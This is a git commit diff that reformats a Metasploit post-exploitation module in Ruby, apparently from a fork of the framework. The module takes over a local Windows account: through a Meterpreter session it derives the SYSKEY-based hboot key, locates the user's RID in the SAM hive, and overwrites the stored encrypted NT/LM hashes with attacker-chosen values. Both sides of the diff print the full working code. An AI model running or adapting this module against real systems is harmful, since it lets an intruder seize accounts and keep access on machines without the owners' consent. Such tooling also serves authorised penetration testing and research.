Struggling with tidyness
parent
586b2d92e2
commit
c898e768f6
|
@ -1,6 +1,6 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
@ -8,254 +8,217 @@ require 'rex'
|
|||
require 'msf/core/auxiliary/report'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Local User Account Hash Carver',
|
||||
'Description' => %q{ This module will change a local user's password directly in the registry. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'p3nt4' ],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
register_options(
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Local User Account Hash Carver',
|
||||
'Description' => %q{ This module will change a local user's password directly in the registry. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'p3nt4' ],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('user', [true, 'Username to change password of', nil]),
|
||||
OptString.new('pass', [true, 'Password, NTHash or LM:NT hashes value to set as the user\'s password', nil])
|
||||
], self.class)
|
||||
# Constants for SAM decryption
|
||||
@sam_lmpass = "LMPASSWORD\x00"
|
||||
@sam_ntpass = "NTPASSWORD\x00"
|
||||
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
|
||||
@sam_numeric = "0123456789012345678901234567890123456789\x00"
|
||||
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
|
||||
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
begin
|
||||
|
||||
#Variable Setup
|
||||
username=datastore['user']
|
||||
pass=datastore['pass']
|
||||
|
||||
#Detecting password style
|
||||
if pass.length==32
|
||||
print_status("Password detected as NT hash")
|
||||
nthash = pass
|
||||
lmhash="aad3b435b51404eeaad3b435b51404ee"
|
||||
|
||||
elsif pass.length==65
|
||||
print_status("Password detected as LN:NT hashes")
|
||||
nthash = pass.split(':')[1]
|
||||
lmhash = pass.split(':')[0]
|
||||
else
|
||||
print_status("Password detected as clear text, generating hashes:")
|
||||
nthash=hash_nt(pass)
|
||||
lmhash=hash_lm(pass)
|
||||
end
|
||||
print_line("LM Hash: "+lmhash)
|
||||
print_line("NT Hash: "+nthash)
|
||||
|
||||
print_status("Obtaining the boot key...")
|
||||
bootkey = capture_boot_key
|
||||
|
||||
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
|
||||
hbootkey = capture_hboot_key(bootkey)
|
||||
|
||||
print_status("Searching for user")
|
||||
ridInt = get_user_id(username)
|
||||
rid = '%08x' % ridInt
|
||||
print_line("User found with id: " + rid)
|
||||
|
||||
print_status("Loading user key")
|
||||
user = get_user_key(rid)
|
||||
|
||||
#print_status("Decrypting user keys...")
|
||||
#users = decrypt_user_keys(hbootkey, users)
|
||||
|
||||
print_status("Modifying user key")
|
||||
modify_user_key(hbootkey, ridInt, user,[nthash].pack("H*"),[lmhash].pack("H*"))
|
||||
|
||||
print_status("Carving user key")
|
||||
write_user_key(rid, user)
|
||||
|
||||
print_status("Completed! Let's hope for the best")
|
||||
#print_status("Carving Hashes")
|
||||
#write_user_keys(users)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
def capture_hboot_key(bootkey)
|
||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
|
||||
return if not ok
|
||||
vf = ok.query_value("F")
|
||||
return if not vf
|
||||
vf = vf.data
|
||||
ok.close
|
||||
|
||||
hash = Digest::MD5.new
|
||||
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
|
||||
|
||||
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
||||
rc4.key = hash.digest
|
||||
hbootkey = rc4.update(vf[0x80, 32])
|
||||
hbootkey << rc4.final
|
||||
return hbootkey
|
||||
end
|
||||
|
||||
def get_user_id(username)
|
||||
|
||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
|
||||
ok.enum_key.each do |usr|
|
||||
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
|
||||
r = uk.query_value("")
|
||||
rid = r.type
|
||||
if usr.downcase == username.downcase
|
||||
return rid
|
||||
end
|
||||
uk.close
|
||||
end
|
||||
ok.close
|
||||
raise 'The user does not exist'
|
||||
end
|
||||
|
||||
def get_user_key(rid)
|
||||
|
||||
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ)
|
||||
user = uk.query_value("V").data
|
||||
uk.close
|
||||
return user
|
||||
end
|
||||
|
||||
def write_user_key(rid,user)
|
||||
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE)
|
||||
uk.set_value("V",REG_BINARY,user)
|
||||
uk.close
|
||||
end
|
||||
|
||||
def modify_user_key(hbootkey, rid, user, nthash, lmhash)
|
||||
|
||||
hoff = user[0x9c, 4].unpack("V")[0] + 0xcc
|
||||
#Check if hashes exist (if 20, then we've got a hash)
|
||||
lm_exists = user[0x9c+4,4].unpack("V")[0] == 20 ? true : false
|
||||
nt_exists = user[0x9c+16,4].unpack("V")[0] == 20 ? true : false
|
||||
|
||||
#If we have a hashes, then parse them (Note: NT is dependant on LM)
|
||||
#hashlm_enc = user[hoff + 4, 16] if lm_exists
|
||||
#hashnt_enc = user[(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
|
||||
|
||||
print_status("Modifiying LM hash")
|
||||
if lm_exists
|
||||
user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass)
|
||||
else
|
||||
print_error("LM hash does not exist, skipping")
|
||||
end
|
||||
print_status("Modifiying NT hash")
|
||||
if nt_exists
|
||||
user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)
|
||||
else
|
||||
print_error("NT hash does not exist, skipping")
|
||||
end
|
||||
end
|
||||
# Constants for SAM decryption
|
||||
@sam_lmpass = "LMPASSWORD\x00"
|
||||
@sam_ntpass = "NTPASSWORD\x00"
|
||||
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
|
||||
@sam_numeric = "0123456789012345678901234567890123456789\x00"
|
||||
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
|
||||
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
|
||||
end
|
||||
|
||||
def rid_to_key(rid)
|
||||
|
||||
s1 = [rid].pack("V")
|
||||
s1 << s1[0,3]
|
||||
|
||||
s2b = [rid].pack("V").unpack("C4")
|
||||
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
|
||||
s2 << s2[0,3]
|
||||
|
||||
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
|
||||
end
|
||||
|
||||
def encode_utf16(str)
|
||||
str.to_s.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT)
|
||||
end
|
||||
|
||||
def encrypt_user_hash(rid, hbootkey, hash, pass)
|
||||
|
||||
if(hash.empty?)
|
||||
case pass
|
||||
when @sam_lmpass
|
||||
return @sam_empty_lm
|
||||
when @sam_ntpass
|
||||
return @sam_empty_nt
|
||||
end
|
||||
return ""
|
||||
end
|
||||
|
||||
des_k1, des_k2 = rid_to_key(rid)
|
||||
|
||||
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
||||
d1.padding = 0
|
||||
d1.key = des_k1
|
||||
|
||||
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
||||
d2.padding = 0
|
||||
d2.key = des_k2
|
||||
|
||||
md5 = Digest::MD5.new
|
||||
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
|
||||
|
||||
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
|
||||
rc4.key = md5.digest
|
||||
rc4.encrypt
|
||||
|
||||
d2o = d2.encrypt.update(hash[8,8])
|
||||
d1o = d1.encrypt.update(hash[0,8])
|
||||
enchash = rc4.update(d1o+d2o)
|
||||
|
||||
return enchash
|
||||
end
|
||||
|
||||
def hash_nt(pass)
|
||||
return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack("H*")[0]
|
||||
end
|
||||
|
||||
def hash_lm(key)
|
||||
lm_magic = 'KGS!@\#$%'
|
||||
key = key.ljust(14, "\0")
|
||||
keys = create_des_keys(key[0, 14])
|
||||
def run
|
||||
begin
|
||||
#Variable Setup
|
||||
username=datastore['user']
|
||||
pass=datastore['pass']
|
||||
#Detecting password style
|
||||
if pass.length==32
|
||||
print_status("Password detected as NT hash")
|
||||
nthash = pass
|
||||
lmhash="aad3b435b51404eeaad3b435b51404ee"
|
||||
elsif pass.length==65
|
||||
print_status("Password detected as LN:NT hashes")
|
||||
nthash = pass.split(':')[1]
|
||||
lmhash = pass.split(':')[0]
|
||||
else
|
||||
print_status("Password detected as clear text, generating hashes:")
|
||||
nthash=hash_nt(pass)
|
||||
lmhash=hash_lm(pass)
|
||||
end
|
||||
print_line("LM Hash: "+lmhash)
|
||||
print_line("NT Hash: "+nthash)
|
||||
print_status("Obtaining the boot key...")
|
||||
bootkey = capture_boot_key
|
||||
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
|
||||
hbootkey = capture_hboot_key(bootkey)
|
||||
print_status("Searching for user")
|
||||
ridInt = get_user_id(username)
|
||||
rid = '%08x' % ridInt
|
||||
print_line("User found with id: " + rid)
|
||||
print_status("Loading user key")
|
||||
user = get_user_key(rid)
|
||||
print_status("Modifying user key")
|
||||
modify_user_key(hbootkey, ridInt, user,[nthash].pack("H*"),[lmhash].pack("H*"))
|
||||
print_status("Carving user key")
|
||||
write_user_key(rid, user)
|
||||
print_status("Completed! Let's hope for the best")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
def capture_hboot_key(bootkey)
|
||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
|
||||
return if not ok
|
||||
vf = ok.query_value("F")
|
||||
return if not vf
|
||||
vf = vf.data
|
||||
ok.close
|
||||
hash = Digest::MD5.new
|
||||
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
|
||||
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
||||
rc4.key = hash.digest
|
||||
hbootkey = rc4.update(vf[0x80, 32])
|
||||
hbootkey << rc4.final
|
||||
return hbootkey
|
||||
end
|
||||
|
||||
def get_user_id(username)
|
||||
|
||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
|
||||
ok.enum_key.each do |usr|
|
||||
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
|
||||
r = uk.query_value("")
|
||||
rid = r.type
|
||||
if usr.downcase == username.downcase
|
||||
return rid
|
||||
end
|
||||
uk.close
|
||||
end
|
||||
ok.close
|
||||
raise 'The user does not exist'
|
||||
end
|
||||
|
||||
def get_user_key(rid)
|
||||
|
||||
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ)
|
||||
user = uk.query_value("V").data
|
||||
uk.close
|
||||
return user
|
||||
end
|
||||
|
||||
def write_user_key(rid,user)
|
||||
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE)
|
||||
uk.set_value("V",REG_BINARY,user)
|
||||
uk.close
|
||||
end
|
||||
|
||||
def modify_user_key(hbootkey, rid, user, nthash, lmhash)
|
||||
|
||||
hoff = user[0x9c, 4].unpack("V")[0] + 0xcc
|
||||
#Check if hashes exist (if 20, then we've got a hash)
|
||||
lm_exists = user[0x9c+4,4].unpack("V")[0] == 20 ? true : false
|
||||
nt_exists = user[0x9c+16,4].unpack("V")[0] == 20 ? true : false
|
||||
print_status("Modifiying LM hash")
|
||||
if lm_exists
|
||||
user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass)
|
||||
else
|
||||
print_error("LM hash does not exist, skipping")
|
||||
end
|
||||
print_status("Modifiying NT hash")
|
||||
if nt_exists
|
||||
user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)
|
||||
else
|
||||
print_error("NT hash does not exist, skipping")
|
||||
end
|
||||
end
|
||||
|
||||
def rid_to_key(rid)
|
||||
s1 = [rid].pack("V")
|
||||
s1 << s1[0,3]
|
||||
s2b = [rid].pack("V").unpack("C4")
|
||||
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
|
||||
s2 << s2[0,3]
|
||||
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
|
||||
end
|
||||
|
||||
def encode_utf16(str)
|
||||
str.to_s.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT)
|
||||
end
|
||||
|
||||
def encrypt_user_hash(rid, hbootkey, hash, pass)
|
||||
if(hash.empty?)
|
||||
case pass
|
||||
when @sam_lmpass
|
||||
return @sam_empty_lm
|
||||
when @sam_ntpass
|
||||
return @sam_empty_nt
|
||||
end
|
||||
return ""
|
||||
end
|
||||
|
||||
des_k1, des_k2 = rid_to_key(rid)
|
||||
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
||||
d1.padding = 0
|
||||
d1.key = des_k1
|
||||
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
||||
d2.padding = 0
|
||||
d2.key = des_k2
|
||||
md5 = Digest::MD5.new
|
||||
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
|
||||
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
|
||||
rc4.key = md5.digest
|
||||
rc4.encrypt
|
||||
d2o = d2.encrypt.update(hash[8,8])
|
||||
d1o = d1.encrypt.update(hash[0,8])
|
||||
enchash = rc4.update(d1o+d2o)
|
||||
return enchash
|
||||
end
|
||||
|
||||
def hash_nt(pass)
|
||||
return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack("H*")[0]
|
||||
end
|
||||
|
||||
def hash_lm(key)
|
||||
lm_magic = 'KGS!@\#$%'
|
||||
key = key.ljust(14, "\0")
|
||||
keys = create_des_keys(key[0, 14])
|
||||
result = ''
|
||||
cipher = OpenSSL::Cipher::DES.new
|
||||
keys.each do |k|
|
||||
cipher.encrypt
|
||||
cipher.key = k
|
||||
result << cipher.update(lm_magic)
|
||||
end
|
||||
return result.unpack("H*")[0]
|
||||
end
|
||||
|
||||
def create_des_keys(string)
|
||||
keys = []
|
||||
string = string.dup
|
||||
until (key = string.slice!(0, 7)).empty?
|
||||
# key is 56 bits
|
||||
key = key.unpack('B*').first
|
||||
str = ''
|
||||
until (bits = key.slice!(0, 7)).empty?
|
||||
str << bits
|
||||
str << (bits.count('1').even? ? '1' : '0') # parity
|
||||
end
|
||||
keys << [str].pack('B*')
|
||||
end
|
||||
keys
|
||||
end
|
||||
|
||||
result = ''
|
||||
cipher = OpenSSL::Cipher::DES.new
|
||||
keys.each do |k|
|
||||
cipher.encrypt
|
||||
cipher.key = k
|
||||
result << cipher.update(lm_magic)
|
||||
end
|
||||
return result.unpack("H*")[0]
|
||||
end
|
||||
|
||||
def create_des_keys(string)
|
||||
keys = []
|
||||
string = string.dup
|
||||
until (key = string.slice!(0, 7)).empty?
|
||||
# key is 56 bits
|
||||
key = key.unpack('B*').first
|
||||
str = ''
|
||||
until (bits = key.slice!(0, 7)).empty?
|
||||
str << bits
|
||||
str << (bits.count('1').even? ? '1' : '0') # parity
|
||||
end
|
||||
keys << [str].pack('B*')
|
||||
end
|
||||
keys
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue